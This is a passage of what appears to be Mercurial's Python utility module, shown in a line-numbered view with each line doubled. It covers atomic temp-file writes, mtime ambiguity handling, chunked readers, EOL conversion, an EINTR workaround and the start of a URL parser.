2389
2390 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2390 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2391 timestamp is ambiguous".
2391 timestamp is ambiguous".
2392
2392
2393 But advancing mtime only in case (*2) doesn't work as
2393 But advancing mtime only in case (*2) doesn't work as
2394 expected, because naturally advanced S[n].mtime in case (*1)
2394 expected, because naturally advanced S[n].mtime in case (*1)
2395 might be equal to manually advanced S[n-1 or earlier].mtime.
2395 might be equal to manually advanced S[n-1 or earlier].mtime.
2396
2396
2397 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2397 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2398 treated as ambiguous regardless of mtime, to avoid overlooking
2398 treated as ambiguous regardless of mtime, to avoid overlooking
2399 by confliction between such mtime.
2399 by confliction between such mtime.
2400
2400
2401 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2401 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2402 S[n].mtime", even if size of a file isn't changed.
2402 S[n].mtime", even if size of a file isn't changed.
2403 """
2403 """
2404 try:
2404 try:
2405 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2405 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2406 except AttributeError:
2406 except AttributeError:
2407 return False
2407 return False
2408
2408
2409 def avoidambig(self, path, old):
2409 def avoidambig(self, path, old):
2410 """Change file stat of specified path to avoid ambiguity
2410 """Change file stat of specified path to avoid ambiguity
2411
2411
2412 'old' should be previous filestat of 'path'.
2412 'old' should be previous filestat of 'path'.
2413
2413
2414 This skips avoiding ambiguity, if a process doesn't have
2414 This skips avoiding ambiguity, if a process doesn't have
2415 appropriate privileges for 'path'. This returns False in this
2415 appropriate privileges for 'path'. This returns False in this
2416 case.
2416 case.
2417
2417
2418 Otherwise, this returns True, as "ambiguity is avoided".
2418 Otherwise, this returns True, as "ambiguity is avoided".
2419 """
2419 """
2420 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2420 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2421 try:
2421 try:
2422 os.utime(path, (advanced, advanced))
2422 os.utime(path, (advanced, advanced))
2423 except OSError as inst:
2423 except OSError as inst:
2424 if inst.errno == errno.EPERM:
2424 if inst.errno == errno.EPERM:
2425 # utime() on the file created by another user causes EPERM,
2425 # utime() on the file created by another user causes EPERM,
2426 # if a process doesn't have appropriate privileges
2426 # if a process doesn't have appropriate privileges
2427 return False
2427 return False
2428 raise
2428 raise
2429 return True
2429 return True
2430
2430
2431 def __ne__(self, other):
2431 def __ne__(self, other):
2432 return not self == other
2432 return not self == other
2433
2433
2434
2434
2435 class atomictempfile(object):
2435 class atomictempfile(object):
2436 '''writable file object that atomically updates a file
2436 '''writable file object that atomically updates a file
2437
2437
2438 All writes will go to a temporary copy of the original file. Call
2438 All writes will go to a temporary copy of the original file. Call
2439 close() when you are done writing, and atomictempfile will rename
2439 close() when you are done writing, and atomictempfile will rename
2440 the temporary copy to the original name, making the changes
2440 the temporary copy to the original name, making the changes
2441 visible. If the object is destroyed without being closed, all your
2441 visible. If the object is destroyed without being closed, all your
2442 writes are discarded.
2442 writes are discarded.
2443
2443
2444 checkambig argument of constructor is used with filestat, and is
2444 checkambig argument of constructor is used with filestat, and is
2445 useful only if target file is guarded by any lock (e.g. repo.lock
2445 useful only if target file is guarded by any lock (e.g. repo.lock
2446 or repo.wlock).
2446 or repo.wlock).
2447 '''
2447 '''
2448
2448
2449 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2449 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2450 self.__name = name # permanent name
2450 self.__name = name # permanent name
2451 self._tempname = mktempcopy(
2451 self._tempname = mktempcopy(
2452 name,
2452 name,
2453 emptyok=(b'w' in mode),
2453 emptyok=(b'w' in mode),
2454 createmode=createmode,
2454 createmode=createmode,
2455 enforcewritable=(b'w' in mode),
2455 enforcewritable=(b'w' in mode),
2456 )
2456 )
2457
2457
2458 self._fp = posixfile(self._tempname, mode)
2458 self._fp = posixfile(self._tempname, mode)
2459 self._checkambig = checkambig
2459 self._checkambig = checkambig
2460
2460
2461 # delegated methods
2461 # delegated methods
2462 self.read = self._fp.read
2462 self.read = self._fp.read
2463 self.write = self._fp.write
2463 self.write = self._fp.write
2464 self.seek = self._fp.seek
2464 self.seek = self._fp.seek
2465 self.tell = self._fp.tell
2465 self.tell = self._fp.tell
2466 self.fileno = self._fp.fileno
2466 self.fileno = self._fp.fileno
2467
2467
2468 def close(self):
2468 def close(self):
2469 if not self._fp.closed:
2469 if not self._fp.closed:
2470 self._fp.close()
2470 self._fp.close()
2471 filename = localpath(self.__name)
2471 filename = localpath(self.__name)
2472 oldstat = self._checkambig and filestat.frompath(filename)
2472 oldstat = self._checkambig and filestat.frompath(filename)
2473 if oldstat and oldstat.stat:
2473 if oldstat and oldstat.stat:
2474 rename(self._tempname, filename)
2474 rename(self._tempname, filename)
2475 newstat = filestat.frompath(filename)
2475 newstat = filestat.frompath(filename)
2476 if newstat.isambig(oldstat):
2476 if newstat.isambig(oldstat):
2477 # stat of changed file is ambiguous to original one
2477 # stat of changed file is ambiguous to original one
2478 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2478 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2479 os.utime(filename, (advanced, advanced))
2479 os.utime(filename, (advanced, advanced))
2480 else:
2480 else:
2481 rename(self._tempname, filename)
2481 rename(self._tempname, filename)
2482
2482
2483 def discard(self):
2483 def discard(self):
2484 if not self._fp.closed:
2484 if not self._fp.closed:
2485 try:
2485 try:
2486 os.unlink(self._tempname)
2486 os.unlink(self._tempname)
2487 except OSError:
2487 except OSError:
2488 pass
2488 pass
2489 self._fp.close()
2489 self._fp.close()
2490
2490
2491 def __del__(self):
2491 def __del__(self):
2492 if safehasattr(self, '_fp'): # constructor actually did something
2492 if safehasattr(self, '_fp'): # constructor actually did something
2493 self.discard()
2493 self.discard()
2494
2494
2495 def __enter__(self):
2495 def __enter__(self):
2496 return self
2496 return self
2497
2497
2498 def __exit__(self, exctype, excvalue, traceback):
2498 def __exit__(self, exctype, excvalue, traceback):
2499 if exctype is not None:
2499 if exctype is not None:
2500 self.discard()
2500 self.discard()
2501 else:
2501 else:
2502 self.close()
2502 self.close()
2503
2503
2504
2504
2505 def unlinkpath(f, ignoremissing=False, rmdir=True):
2505 def unlinkpath(f, ignoremissing=False, rmdir=True):
2506 """unlink and remove the directory if it is empty"""
2506 """unlink and remove the directory if it is empty"""
2507 if ignoremissing:
2507 if ignoremissing:
2508 tryunlink(f)
2508 tryunlink(f)
2509 else:
2509 else:
2510 unlink(f)
2510 unlink(f)
2511 if rmdir:
2511 if rmdir:
2512 # try removing directories that might now be empty
2512 # try removing directories that might now be empty
2513 try:
2513 try:
2514 removedirs(os.path.dirname(f))
2514 removedirs(os.path.dirname(f))
2515 except OSError:
2515 except OSError:
2516 pass
2516 pass
2517
2517
2518
2518
2519 def tryunlink(f):
2519 def tryunlink(f):
2520 """Attempt to remove a file, ignoring ENOENT errors."""
2520 """Attempt to remove a file, ignoring ENOENT errors."""
2521 try:
2521 try:
2522 unlink(f)
2522 unlink(f)
2523 except OSError as e:
2523 except OSError as e:
2524 if e.errno != errno.ENOENT:
2524 if e.errno != errno.ENOENT:
2525 raise
2525 raise
2526
2526
2527
2527
2528 def makedirs(name, mode=None, notindexed=False):
2528 def makedirs(name, mode=None, notindexed=False):
2529 """recursive directory creation with parent mode inheritance
2529 """recursive directory creation with parent mode inheritance
2530
2530
2531 Newly created directories are marked as "not to be indexed by
2531 Newly created directories are marked as "not to be indexed by
2532 the content indexing service", if ``notindexed`` is specified
2532 the content indexing service", if ``notindexed`` is specified
2533 for "write" mode access.
2533 for "write" mode access.
2534 """
2534 """
2535 try:
2535 try:
2536 makedir(name, notindexed)
2536 makedir(name, notindexed)
2537 except OSError as err:
2537 except OSError as err:
2538 if err.errno == errno.EEXIST:
2538 if err.errno == errno.EEXIST:
2539 return
2539 return
2540 if err.errno != errno.ENOENT or not name:
2540 if err.errno != errno.ENOENT or not name:
2541 raise
2541 raise
2542 parent = os.path.dirname(os.path.abspath(name))
2542 parent = os.path.dirname(os.path.abspath(name))
2543 if parent == name:
2543 if parent == name:
2544 raise
2544 raise
2545 makedirs(parent, mode, notindexed)
2545 makedirs(parent, mode, notindexed)
2546 try:
2546 try:
2547 makedir(name, notindexed)
2547 makedir(name, notindexed)
2548 except OSError as err:
2548 except OSError as err:
2549 # Catch EEXIST to handle races
2549 # Catch EEXIST to handle races
2550 if err.errno == errno.EEXIST:
2550 if err.errno == errno.EEXIST:
2551 return
2551 return
2552 raise
2552 raise
2553 if mode is not None:
2553 if mode is not None:
2554 os.chmod(name, mode)
2554 os.chmod(name, mode)
2555
2555
2556
2556
2557 def readfile(path):
2557 def readfile(path):
2558 with open(path, b'rb') as fp:
2558 with open(path, b'rb') as fp:
2559 return fp.read()
2559 return fp.read()
2560
2560
2561
2561
2562 def writefile(path, text):
2562 def writefile(path, text):
2563 with open(path, b'wb') as fp:
2563 with open(path, b'wb') as fp:
2564 fp.write(text)
2564 fp.write(text)
2565
2565
2566
2566
2567 def appendfile(path, text):
2567 def appendfile(path, text):
2568 with open(path, b'ab') as fp:
2568 with open(path, b'ab') as fp:
2569 fp.write(text)
2569 fp.write(text)
2570
2570
2571
2571
2572 class chunkbuffer(object):
2572 class chunkbuffer(object):
2573 """Allow arbitrary sized chunks of data to be efficiently read from an
2573 """Allow arbitrary sized chunks of data to be efficiently read from an
2574 iterator over chunks of arbitrary size."""
2574 iterator over chunks of arbitrary size."""
2575
2575
2576 def __init__(self, in_iter):
2576 def __init__(self, in_iter):
2577 """in_iter is the iterator that's iterating over the input chunks."""
2577 """in_iter is the iterator that's iterating over the input chunks."""
2578
2578
2579 def splitbig(chunks):
2579 def splitbig(chunks):
2580 for chunk in chunks:
2580 for chunk in chunks:
2581 if len(chunk) > 2 ** 20:
2581 if len(chunk) > 2 ** 20:
2582 pos = 0
2582 pos = 0
2583 while pos < len(chunk):
2583 while pos < len(chunk):
2584 end = pos + 2 ** 18
2584 end = pos + 2 ** 18
2585 yield chunk[pos:end]
2585 yield chunk[pos:end]
2586 pos = end
2586 pos = end
2587 else:
2587 else:
2588 yield chunk
2588 yield chunk
2589
2589
2590 self.iter = splitbig(in_iter)
2590 self.iter = splitbig(in_iter)
2591 self._queue = collections.deque()
2591 self._queue = collections.deque()
2592 self._chunkoffset = 0
2592 self._chunkoffset = 0
2593
2593
2594 def read(self, l=None):
2594 def read(self, l=None):
2595 """Read L bytes of data from the iterator of chunks of data.
2595 """Read L bytes of data from the iterator of chunks of data.
2596 Returns less than L bytes if the iterator runs dry.
2596 Returns less than L bytes if the iterator runs dry.
2597
2597
2598 If size parameter is omitted, read everything"""
2598 If size parameter is omitted, read everything"""
2599 if l is None:
2599 if l is None:
2600 return b''.join(self.iter)
2600 return b''.join(self.iter)
2601
2601
2602 left = l
2602 left = l
2603 buf = []
2603 buf = []
2604 queue = self._queue
2604 queue = self._queue
2605 while left > 0:
2605 while left > 0:
2606 # refill the queue
2606 # refill the queue
2607 if not queue:
2607 if not queue:
2608 target = 2 ** 18
2608 target = 2 ** 18
2609 for chunk in self.iter:
2609 for chunk in self.iter:
2610 queue.append(chunk)
2610 queue.append(chunk)
2611 target -= len(chunk)
2611 target -= len(chunk)
2612 if target <= 0:
2612 if target <= 0:
2613 break
2613 break
2614 if not queue:
2614 if not queue:
2615 break
2615 break
2616
2616
2617 # The easy way to do this would be to queue.popleft(), modify the
2617 # The easy way to do this would be to queue.popleft(), modify the
2618 # chunk (if necessary), then queue.appendleft(). However, for cases
2618 # chunk (if necessary), then queue.appendleft(). However, for cases
2619 # where we read partial chunk content, this incurs 2 dequeue
2619 # where we read partial chunk content, this incurs 2 dequeue
2620 # mutations and creates a new str for the remaining chunk in the
2620 # mutations and creates a new str for the remaining chunk in the
2621 # queue. Our code below avoids this overhead.
2621 # queue. Our code below avoids this overhead.
2622
2622
2623 chunk = queue[0]
2623 chunk = queue[0]
2624 chunkl = len(chunk)
2624 chunkl = len(chunk)
2625 offset = self._chunkoffset
2625 offset = self._chunkoffset
2626
2626
2627 # Use full chunk.
2627 # Use full chunk.
2628 if offset == 0 and left >= chunkl:
2628 if offset == 0 and left >= chunkl:
2629 left -= chunkl
2629 left -= chunkl
2630 queue.popleft()
2630 queue.popleft()
2631 buf.append(chunk)
2631 buf.append(chunk)
2632 # self._chunkoffset remains at 0.
2632 # self._chunkoffset remains at 0.
2633 continue
2633 continue
2634
2634
2635 chunkremaining = chunkl - offset
2635 chunkremaining = chunkl - offset
2636
2636
2637 # Use all of unconsumed part of chunk.
2637 # Use all of unconsumed part of chunk.
2638 if left >= chunkremaining:
2638 if left >= chunkremaining:
2639 left -= chunkremaining
2639 left -= chunkremaining
2640 queue.popleft()
2640 queue.popleft()
2641 # offset == 0 is enabled by block above, so this won't merely
2641 # offset == 0 is enabled by block above, so this won't merely
2642 # copy via ``chunk[0:]``.
2642 # copy via ``chunk[0:]``.
2643 buf.append(chunk[offset:])
2643 buf.append(chunk[offset:])
2644 self._chunkoffset = 0
2644 self._chunkoffset = 0
2645
2645
2646 # Partial chunk needed.
2646 # Partial chunk needed.
2647 else:
2647 else:
2648 buf.append(chunk[offset : offset + left])
2648 buf.append(chunk[offset : offset + left])
2649 self._chunkoffset += left
2649 self._chunkoffset += left
2650 left -= chunkremaining
2650 left -= chunkremaining
2651
2651
2652 return b''.join(buf)
2652 return b''.join(buf)
2653
2653
2654
2654
2655 def filechunkiter(f, size=131072, limit=None):
2655 def filechunkiter(f, size=131072, limit=None):
2656 """Create a generator that produces the data in the file size
2656 """Create a generator that produces the data in the file size
2657 (default 131072) bytes at a time, up to optional limit (default is
2657 (default 131072) bytes at a time, up to optional limit (default is
2658 to read all data). Chunks may be less than size bytes if the
2658 to read all data). Chunks may be less than size bytes if the
2659 chunk is the last chunk in the file, or the file is a socket or
2659 chunk is the last chunk in the file, or the file is a socket or
2660 some other type of file that sometimes reads less data than is
2660 some other type of file that sometimes reads less data than is
2661 requested."""
2661 requested."""
2662 assert size >= 0
2662 assert size >= 0
2663 assert limit is None or limit >= 0
2663 assert limit is None or limit >= 0
2664 while True:
2664 while True:
2665 if limit is None:
2665 if limit is None:
2666 nbytes = size
2666 nbytes = size
2667 else:
2667 else:
2668 nbytes = min(limit, size)
2668 nbytes = min(limit, size)
2669 s = nbytes and f.read(nbytes)
2669 s = nbytes and f.read(nbytes)
2670 if not s:
2670 if not s:
2671 break
2671 break
2672 if limit:
2672 if limit:
2673 limit -= len(s)
2673 limit -= len(s)
2674 yield s
2674 yield s
2675
2675
2676
2676
2677 class cappedreader(object):
2677 class cappedreader(object):
2678 """A file object proxy that allows reading up to N bytes.
2678 """A file object proxy that allows reading up to N bytes.
2679
2679
2680 Given a source file object, instances of this type allow reading up to
2680 Given a source file object, instances of this type allow reading up to
2681 N bytes from that source file object. Attempts to read past the allowed
2681 N bytes from that source file object. Attempts to read past the allowed
2682 limit are treated as EOF.
2682 limit are treated as EOF.
2683
2683
2684 It is assumed that I/O is not performed on the original file object
2684 It is assumed that I/O is not performed on the original file object
2685 in addition to I/O that is performed by this instance. If there is,
2685 in addition to I/O that is performed by this instance. If there is,
2686 state tracking will get out of sync and unexpected results will ensue.
2686 state tracking will get out of sync and unexpected results will ensue.
2687 """
2687 """
2688
2688
2689 def __init__(self, fh, limit):
2689 def __init__(self, fh, limit):
2690 """Allow reading up to <limit> bytes from <fh>."""
2690 """Allow reading up to <limit> bytes from <fh>."""
2691 self._fh = fh
2691 self._fh = fh
2692 self._left = limit
2692 self._left = limit
2693
2693
2694 def read(self, n=-1):
2694 def read(self, n=-1):
2695 if not self._left:
2695 if not self._left:
2696 return b''
2696 return b''
2697
2697
2698 if n < 0:
2698 if n < 0:
2699 n = self._left
2699 n = self._left
2700
2700
2701 data = self._fh.read(min(n, self._left))
2701 data = self._fh.read(min(n, self._left))
2702 self._left -= len(data)
2702 self._left -= len(data)
2703 assert self._left >= 0
2703 assert self._left >= 0
2704
2704
2705 return data
2705 return data
2706
2706
2707 def readinto(self, b):
2707 def readinto(self, b):
2708 res = self.read(len(b))
2708 res = self.read(len(b))
2709 if res is None:
2709 if res is None:
2710 return None
2710 return None
2711
2711
2712 b[0 : len(res)] = res
2712 b[0 : len(res)] = res
2713 return len(res)
2713 return len(res)
2714
2714
2715
2715
2716 def unitcountfn(*unittable):
2716 def unitcountfn(*unittable):
2717 '''return a function that renders a readable count of some quantity'''
2717 '''return a function that renders a readable count of some quantity'''
2718
2718
2719 def go(count):
2719 def go(count):
2720 for multiplier, divisor, format in unittable:
2720 for multiplier, divisor, format in unittable:
2721 if abs(count) >= divisor * multiplier:
2721 if abs(count) >= divisor * multiplier:
2722 return format % (count / float(divisor))
2722 return format % (count / float(divisor))
2723 return unittable[-1][2] % count
2723 return unittable[-1][2] % count
2724
2724
2725 return go
2725 return go
2726
2726
2727
2727
2728 def processlinerange(fromline, toline):
2728 def processlinerange(fromline, toline):
2729 """Check that linerange <fromline>:<toline> makes sense and return a
2729 """Check that linerange <fromline>:<toline> makes sense and return a
2730 0-based range.
2730 0-based range.
2731
2731
2732 >>> processlinerange(10, 20)
2732 >>> processlinerange(10, 20)
2733 (9, 20)
2733 (9, 20)
2734 >>> processlinerange(2, 1)
2734 >>> processlinerange(2, 1)
2735 Traceback (most recent call last):
2735 Traceback (most recent call last):
2736 ...
2736 ...
2737 ParseError: line range must be positive
2737 ParseError: line range must be positive
2738 >>> processlinerange(0, 5)
2738 >>> processlinerange(0, 5)
2739 Traceback (most recent call last):
2739 Traceback (most recent call last):
2740 ...
2740 ...
2741 ParseError: fromline must be strictly positive
2741 ParseError: fromline must be strictly positive
2742 """
2742 """
2743 if toline - fromline < 0:
2743 if toline - fromline < 0:
2744 raise error.ParseError(_(b"line range must be positive"))
2744 raise error.ParseError(_(b"line range must be positive"))
2745 if fromline < 1:
2745 if fromline < 1:
2746 raise error.ParseError(_(b"fromline must be strictly positive"))
2746 raise error.ParseError(_(b"fromline must be strictly positive"))
2747 return fromline - 1, toline
2747 return fromline - 1, toline
2748
2748
2749
2749
2750 bytecount = unitcountfn(
2750 bytecount = unitcountfn(
2751 (100, 1 << 30, _(b'%.0f GB')),
2751 (100, 1 << 30, _(b'%.0f GB')),
2752 (10, 1 << 30, _(b'%.1f GB')),
2752 (10, 1 << 30, _(b'%.1f GB')),
2753 (1, 1 << 30, _(b'%.2f GB')),
2753 (1, 1 << 30, _(b'%.2f GB')),
2754 (100, 1 << 20, _(b'%.0f MB')),
2754 (100, 1 << 20, _(b'%.0f MB')),
2755 (10, 1 << 20, _(b'%.1f MB')),
2755 (10, 1 << 20, _(b'%.1f MB')),
2756 (1, 1 << 20, _(b'%.2f MB')),
2756 (1, 1 << 20, _(b'%.2f MB')),
2757 (100, 1 << 10, _(b'%.0f KB')),
2757 (100, 1 << 10, _(b'%.0f KB')),
2758 (10, 1 << 10, _(b'%.1f KB')),
2758 (10, 1 << 10, _(b'%.1f KB')),
2759 (1, 1 << 10, _(b'%.2f KB')),
2759 (1, 1 << 10, _(b'%.2f KB')),
2760 (1, 1, _(b'%.0f bytes')),
2760 (1, 1, _(b'%.0f bytes')),
2761 )
2761 )
2762
2762
2763
2763
2764 class transformingwriter(object):
2764 class transformingwriter(object):
2765 """Writable file wrapper to transform data by function"""
2765 """Writable file wrapper to transform data by function"""
2766
2766
2767 def __init__(self, fp, encode):
2767 def __init__(self, fp, encode):
2768 self._fp = fp
2768 self._fp = fp
2769 self._encode = encode
2769 self._encode = encode
2770
2770
2771 def close(self):
2771 def close(self):
2772 self._fp.close()
2772 self._fp.close()
2773
2773
2774 def flush(self):
2774 def flush(self):
2775 self._fp.flush()
2775 self._fp.flush()
2776
2776
2777 def write(self, data):
2777 def write(self, data):
2778 return self._fp.write(self._encode(data))
2778 return self._fp.write(self._encode(data))
2779
2779
2780
2780
2781 # Matches a single EOL which can either be a CRLF where repeated CR
2781 # Matches a single EOL which can either be a CRLF where repeated CR
2782 # are removed or a LF. We do not care about old Macintosh files, so a
2782 # are removed or a LF. We do not care about old Macintosh files, so a
2783 # stray CR is an error.
2783 # stray CR is an error.
2784 _eolre = remod.compile(br'\r*\n')
2784 _eolre = remod.compile(br'\r*\n')
2785
2785
2786
2786
2787 def tolf(s):
2787 def tolf(s):
2788 return _eolre.sub(b'\n', s)
2788 return _eolre.sub(b'\n', s)
2789
2789
2790
2790
2791 def tocrlf(s):
2791 def tocrlf(s):
2792 return _eolre.sub(b'\r\n', s)
2792 return _eolre.sub(b'\r\n', s)
2793
2793
2794
2794
2795 def _crlfwriter(fp):
2795 def _crlfwriter(fp):
2796 return transformingwriter(fp, tocrlf)
2796 return transformingwriter(fp, tocrlf)
2797
2797
2798
2798
2799 if pycompat.oslinesep == b'\r\n':
2799 if pycompat.oslinesep == b'\r\n':
2800 tonativeeol = tocrlf
2800 tonativeeol = tocrlf
2801 fromnativeeol = tolf
2801 fromnativeeol = tolf
2802 nativeeolwriter = _crlfwriter
2802 nativeeolwriter = _crlfwriter
2803 else:
2803 else:
2804 tonativeeol = pycompat.identity
2804 tonativeeol = pycompat.identity
2805 fromnativeeol = pycompat.identity
2805 fromnativeeol = pycompat.identity
2806 nativeeolwriter = pycompat.identity
2806 nativeeolwriter = pycompat.identity
2807
2807
2808 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2808 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2809 3,
2809 3,
2810 0,
2810 0,
2811 ):
2811 ):
2812 # There is an issue in CPython that some IO methods do not handle EINTR
2812 # There is an issue in CPython that some IO methods do not handle EINTR
2813 # correctly. The following table shows what CPython version (and functions)
2813 # correctly. The following table shows what CPython version (and functions)
2814 # are affected (buggy: has the EINTR bug, okay: otherwise):
2814 # are affected (buggy: has the EINTR bug, okay: otherwise):
2815 #
2815 #
2816 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2816 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2817 # --------------------------------------------------
2817 # --------------------------------------------------
2818 # fp.__iter__ | buggy | buggy | okay
2818 # fp.__iter__ | buggy | buggy | okay
2819 # fp.read* | buggy | okay [1] | okay
2819 # fp.read* | buggy | okay [1] | okay
2820 #
2820 #
2821 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2821 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2822 #
2822 #
2823 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2823 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2824 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2824 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2825 #
2825 #
2826 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2826 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2827 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2827 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2828 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2828 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2829 # fp.__iter__ but not other fp.read* methods.
2829 # fp.__iter__ but not other fp.read* methods.
2830 #
2830 #
2831 # On modern systems like Linux, the "read" syscall cannot be interrupted
2831 # On modern systems like Linux, the "read" syscall cannot be interrupted
2832 # when reading "fast" files like on-disk files. So the EINTR issue only
2832 # when reading "fast" files like on-disk files. So the EINTR issue only
2833 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2833 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2834 # files approximately as "fast" files and use the fast (unsafe) code path,
2834 # files approximately as "fast" files and use the fast (unsafe) code path,
2835 # to minimize the performance impact.
2835 # to minimize the performance impact.
2836 if sys.version_info >= (2, 7, 4):
2836 if sys.version_info >= (2, 7, 4):
2837 # fp.readline deals with EINTR correctly, use it as a workaround.
2837 # fp.readline deals with EINTR correctly, use it as a workaround.
2838 def _safeiterfile(fp):
2838 def _safeiterfile(fp):
2839 return iter(fp.readline, b'')
2839 return iter(fp.readline, b'')
2840
2840
2841 else:
2841 else:
2842 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2842 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2843 # note: this may block longer than necessary because of bufsize.
2843 # note: this may block longer than necessary because of bufsize.
2844 def _safeiterfile(fp, bufsize=4096):
2844 def _safeiterfile(fp, bufsize=4096):
2845 fd = fp.fileno()
2845 fd = fp.fileno()
2846 line = b''
2846 line = b''
2847 while True:
2847 while True:
2848 try:
2848 try:
2849 buf = os.read(fd, bufsize)
2849 buf = os.read(fd, bufsize)
2850 except OSError as ex:
2850 except OSError as ex:
2851 # os.read only raises EINTR before any data is read
2851 # os.read only raises EINTR before any data is read
2852 if ex.errno == errno.EINTR:
2852 if ex.errno == errno.EINTR:
2853 continue
2853 continue
2854 else:
2854 else:
2855 raise
2855 raise
2856 line += buf
2856 line += buf
2857 if b'\n' in buf:
2857 if b'\n' in buf:
2858 splitted = line.splitlines(True)
2858 splitted = line.splitlines(True)
2859 line = b''
2859 line = b''
2860 for l in splitted:
2860 for l in splitted:
2861 if l[-1] == b'\n':
2861 if l[-1] == b'\n':
2862 yield l
2862 yield l
2863 else:
2863 else:
2864 line = l
2864 line = l
2865 if not buf:
2865 if not buf:
2866 break
2866 break
2867 if line:
2867 if line:
2868 yield line
2868 yield line
2869
2869
2870 def iterfile(fp):
2870 def iterfile(fp):
2871 fastpath = True
2871 fastpath = True
2872 if type(fp) is file:
2872 if type(fp) is file:
2873 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2873 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2874 if fastpath:
2874 if fastpath:
2875 return fp
2875 return fp
2876 else:
2876 else:
2877 return _safeiterfile(fp)
2877 return _safeiterfile(fp)
2878
2878
2879
2879
2880 else:
2880 else:
2881 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2881 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2882 def iterfile(fp):
2882 def iterfile(fp):
2883 return fp
2883 return fp
2884
2884
2885
2885
2886 def iterlines(iterator):
2886 def iterlines(iterator):
2887 for chunk in iterator:
2887 for chunk in iterator:
2888 for line in chunk.splitlines():
2888 for line in chunk.splitlines():
2889 yield line
2889 yield line
2890
2890
2891
2891
2892 def expandpath(path):
2892 def expandpath(path):
2893 return os.path.expanduser(os.path.expandvars(path))
2893 return os.path.expanduser(os.path.expandvars(path))
2894
2894
2895
2895
2896 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2896 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2897 """Return the result of interpolating items in the mapping into string s.
2897 """Return the result of interpolating items in the mapping into string s.
2898
2898
2899 prefix is a single character string, or a two character string with
2899 prefix is a single character string, or a two character string with
2900 a backslash as the first character if the prefix needs to be escaped in
2900 a backslash as the first character if the prefix needs to be escaped in
2901 a regular expression.
2901 a regular expression.
2902
2902
2903 fn is an optional function that will be applied to the replacement text
2903 fn is an optional function that will be applied to the replacement text
2904 just before replacement.
2904 just before replacement.
2905
2905
2906 escape_prefix is an optional flag that allows using doubled prefix for
2906 escape_prefix is an optional flag that allows using doubled prefix for
2907 its escaping.
2907 its escaping.
2908 """
2908 """
2909 fn = fn or (lambda s: s)
2909 fn = fn or (lambda s: s)
2910 patterns = b'|'.join(mapping.keys())
2910 patterns = b'|'.join(mapping.keys())
2911 if escape_prefix:
2911 if escape_prefix:
2912 patterns += b'|' + prefix
2912 patterns += b'|' + prefix
2913 if len(prefix) > 1:
2913 if len(prefix) > 1:
2914 prefix_char = prefix[1:]
2914 prefix_char = prefix[1:]
2915 else:
2915 else:
2916 prefix_char = prefix
2916 prefix_char = prefix
2917 mapping[prefix_char] = prefix_char
2917 mapping[prefix_char] = prefix_char
2918 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2918 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2919 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2919 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2920
2920
2921
2921
2922 def getport(port):
2922 def getport(port):
2923 """Return the port for a given network service.
2923 """Return the port for a given network service.
2924
2924
2925 If port is an integer, it's returned as is. If it's a string, it's
2925 If port is an integer, it's returned as is. If it's a string, it's
2926 looked up using socket.getservbyname(). If there's no matching
2926 looked up using socket.getservbyname(). If there's no matching
2927 service, error.Abort is raised.
2927 service, error.Abort is raised.
2928 """
2928 """
2929 try:
2929 try:
2930 return int(port)
2930 return int(port)
2931 except ValueError:
2931 except ValueError:
2932 pass
2932 pass
2933
2933
2934 try:
2934 try:
2935 return socket.getservbyname(pycompat.sysstr(port))
2935 return socket.getservbyname(pycompat.sysstr(port))
2936 except socket.error:
2936 except socket.error:
2937 raise error.Abort(
2937 raise error.Abort(
2938 _(b"no port number associated with service '%s'") % port
2938 _(b"no port number associated with service '%s'") % port
2939 )
2939 )
2940
2940
2941
2941
2942 class url(object):
2942 class url(object):
2943 r"""Reliable URL parser.
2943 r"""Reliable URL parser.
2944
2944
2945 This parses URLs and provides attributes for the following
2945 This parses URLs and provides attributes for the following
2946 components:
2946 components:
2947
2947
2948 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2948 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2949
2949
2950 Missing components are set to None. The only exception is
